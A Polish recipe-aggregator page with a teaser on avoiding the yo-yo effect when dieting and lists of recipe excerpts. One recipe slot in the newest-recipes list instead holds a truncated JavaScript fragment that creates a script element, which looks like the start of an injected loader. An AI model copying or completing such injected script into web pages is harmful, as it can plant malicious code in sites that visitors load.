Jak się odchudzać, aby nie doprowadzić do efektu jojo?
Źródło: http://tradycyjnakuchnia.blogspot.com/2022/07/jak-sie-odchudzac-aby-nie-doprowadzic.html
Zmorom większości osób, które się odchudzają, jest na pewno efekt jojo. Już podczas odchudzania się, obawiamy się, że dopadnie on również nas. Niestety bardzo często się tak dzieje. Musimy jednak wiedzieć, że w sytuacji, w której zdrowo podchodzimy do odchudzania, to się na pewno nie stanie. Jak zatem mądrze i zdrowo się odchudzać? Sprawdźmy to. Dieta to podstawa Absolutną...
Najnowsze przepisy
Problemy z trawieniem, podwyższony cholesterol, zaparcia,... ⇖ 1
(function(){ u7xb=document.createElement("script");u7xb.type ⇖ 6
Rurki z kremem Kinder to przepis, który smakiem przenosi... ⇖ 8
20.12.2025 Magda Śledzie z grzybami i pieczoną papryką... ⇖ 12
Zapraszam Was dziś na przepyszne ciasto makowe z kremem... ⇖ 29
Zupa rybna z łososiem i krewetkami pachnie fenkułem,... ⇖ 25
Tradycyjny polski śledź w śmietanie. Do niego ziemniaki... ⇖ 18
Inlagd sill, czyli śledzie marynowane po szwedzku w sosie... ⇖ 12
Przepisy z bloga
Problemy z trawieniem, podwyższony cholesterol, zaparcia,... ⇖ 1
Wciąż mamy lato. Wysokie temperatury nie odpuszczają. W... ⇖ 561
Zmorom większości osób, które się odchudzają, jest na... ⇖ 671
Owoce Goji coraz częściej pojawiają się w polskiej... ⇖ 816
Tunczyk to ryba bogata w witaminy i kwasy omega-3, ktora... ⇖ 1917
Pytanie, ktore czesto zadaja nowi rodzice, dotyczy w duzej... ⇖ 1017
Do Wielkanocy pozostalo juz niewiele czasu, dlatego... ⇖ 985
Quesadilla to swietna potrawa na szybko, ktora wpisze sie w... ⇖ 984
Kluski lane to moj ulubiony dodatek do zup. Dzisiejsza... ⇖ 935
Placuszki owsiane naleza do mojego TOP sniadaniowego bez... ⇖ 910
Tradycyjny przepis na proste, pyszne ciasto. Zawsze... ⇖ 3081
Przepisy na czasie
Prosty przepis na klasyczny drożdżowy makowiec. Przepis... ⇖ 2571
Masz ochotę na coś słodkiego bez pieczenia? Zrób sernik... ⇖ 2076
Piernik przekładany kremem to jedno z tych ciast, które... ⇖ 1424
NAJLEPSZY PRZEPIS NA CIASTO NA PIEROŻKIBardzo lubię... ⇖ 833
To niezwykle proste ciasto piernikowe, które zawsze się... ⇖ 739
Sernik łaciaty z brzoskwiniami i makiem to ciasto, które... ⇖ 672
Cześć! Dzisiaj robimy ciasto lion bez pieczenia, to... ⇖ 639
Kremowe, delikatne ciasto z białą czekoladą i cukierkami... ⇖ 632
